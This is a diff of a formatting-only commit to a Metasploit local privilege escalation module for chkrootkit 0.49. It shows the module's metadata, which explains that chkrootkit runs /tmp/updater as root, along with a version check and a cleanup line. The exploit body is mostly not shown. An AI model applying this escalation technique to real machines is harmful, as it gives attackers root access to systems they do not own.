@@ -13,22 +13,22 @@ class Metasploit4 < Msf::Exploit::Local
13
13
14
14
include Msf ::Exploit ::Local ::Linux
15
15
16
- def initialize ( info = { } )
17
- super ( update_info ( info , {
16
+ def initialize ( info = { } )
17
+ super ( update_info ( info , {
18
18
'Name' => 'Chkrootkit 0.49 Local Privilege Escalation' ,
19
- 'Description' => %q{
19
+ 'Description' => %q(
20
20
Chkrootkit before 0.50 will run as root any executable file named
21
21
/tmp/updater, allowing a trivial privsec.
22
22
23
23
WfsDelay is set to 24h by default, since this is how often a chkrootkit
24
24
scan is scheduled by default.
25
- } ,
25
+ ) ,
26
26
'License' => MSF_LICENSE ,
27
27
'Author' => [
28
28
'Thomas Stangner' , # original exploit
29
29
'Julien (jvoisin) Voisin' # metasploit module
30
30
] ,
31
- 'Platform' => %w{ bsd linux unix solaris osx } ,
31
+ 'Platform' => %w( bsd linux unix solaris osx ) ,
32
32
'SessionTypes' => [ 'shell' , 'meterpreter' ] ,
33
33
'References' =>
34
34
[
@@ -37,26 +37,23 @@ def initialize(info={})
37
37
[ 'CWE' , '20' ] ,
38
38
[ 'EDB' , '33899' ] ,
39
39
[ 'OSVDB' , '107710' ] ,
40
- [ 'URL' , 'http://seclists.org/oss-sec/2014/q2/430' ] ,
40
+ [ 'URL' , 'http://seclists.org/oss-sec/2014/q2/430' ]
41
41
] ,
42
42
'DisclosureDate' => "Jun 28 2014" ,
43
43
'Arch' => ARCH_CMD ,
44
- 'DefaultOptions' => { 'WfsDelay' => 60 * 60 * 24 } ,
44
+ 'DefaultOptions' => { 'WfsDelay' => 60 * 60 * 24 } ,
45
45
'Privileged' => true ,
46
- 'Targets' =>
47
- [
48
- [ 'Generic' , { } ] ,
49
- ] ,
46
+ 'Targets' => [ [ 'Generic' , { } ] ] ,
50
47
'Stance' => Msf ::Exploit ::Stance ::Passive ,
51
- 'DefaultTarget' => 0 , } ) )
48
+ 'DefaultTarget' => 0 } ) )
52
49
end
53
50
54
51
def check
55
52
res = cmd_exec ( '/usr/sbin/chkrootkit -V' )
56
53
if res && res =~ /chkrootkit version 0\. [^5]/
57
- Exploit ::CheckCode ::Appears
54
+ Exploit ::CheckCode ::Appears
58
55
else
59
- Exploit ::CheckCode ::Safe
56
+ Exploit ::CheckCode ::Safe
60
57
end
61
58
end
62
59
@@ -78,4 +75,3 @@ def exploit
78
75
register_file_for_cleanup ( '/tmp/update' )
79
76
end
80
77
end
81
-
0 commit comments